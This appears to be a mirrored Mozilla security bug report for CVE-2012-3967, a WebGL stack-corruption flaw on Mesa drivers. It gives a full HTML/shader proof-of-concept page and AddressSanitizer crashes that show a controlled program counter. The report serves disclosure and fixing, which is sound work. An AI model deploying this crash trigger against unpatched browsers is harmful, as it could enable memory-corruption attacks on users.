stack scribbling with 4-byte values choosable among a few values, when using more than 16 sampler uniforms, on Mesa, with all drivers
- Fixed in 17 days
- Paid in 6 months
- Disclosed after 17 days
Created attachment 645425
reproduction case
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11
Steps to reproduce:
on linux, with decoders asan opt nightly build
I loaded:
<html>
<head>
<script id="vshader" type="x-shader/x-vertex">
void main()
{
vec4 x;
gl_Position = x;
}
</script>
<script id="fshader" type="x-shader/x-fragment">
precision mediump float;
uniform sampler2D uni[29];
void main()
{
vec4 c;
for (int i = 0; i < 2; i++) {
c += texture2D(uni[i], vec2(0));
}
}
</script>
<script>
function loadShaderFromScript(gl, name, shaderType) {
var shader = gl.createShader(shaderType)
var shaderSource = document.getElementById(name).text
gl.shaderSource(shader, shaderSource)
gl.compileShader(shader)
return shader
}
onload = function() {
var gl = document.createElement('canvas').getContext("moz-webgl")
var program = gl.createProgram()
gl.attachShader(program, loadShaderFromScript(gl, 'vshader', gl.VERTEX_SHADER))
gl.attachShader(program, loadShaderFromScript(gl, 'fshader', gl.FRAGMENT_SHADER))
gl.linkProgram(program)
}
</script>
</head>
<body>
</body>
</html>
Actual results:
==7388== ERROR: AddressSanitizer crashed on unknown address 0x7fff00000187 (pc 0x7fffbe4995c8 sp 0x7fffffff43d0 bp 0x7fffb8bc2980 T0)
AddressSanitizer can not provide additional info. ABORTING
#0 0x7fffbe4995c8 in ?? ??:0
==18352== ERROR: AddressSanitizer crashed on unknown address 0x000700000007 (pc 0x000700000007 sp 0x7fffffff43d0 bp 0x000700000007 T0)
AddressSanitizer can not provide additional info. ABORTING
#0 0x700000007
==29536== ERROR: AddressSanitizer crashed on unknown address 0x7ffffffff000 (pc 0x7fffbe0996a3 sp 0x7fffffff4290 bp 0x7fffb9b69db0 T0)
AddressSanitizer can not provide additional info. ABORTING
#0 0x7fffbe0996a3 in ?? ??:0
I have seen these three asan outputs, they depend on the number on this line:
uniform sampler2D uni[29];
29 is the lower bound, 65535 is the upper bound.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity security bug in Graphics: CanvasWebGL. Mozilla made it public on 10 August 2012 as CVE-2012-3967.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.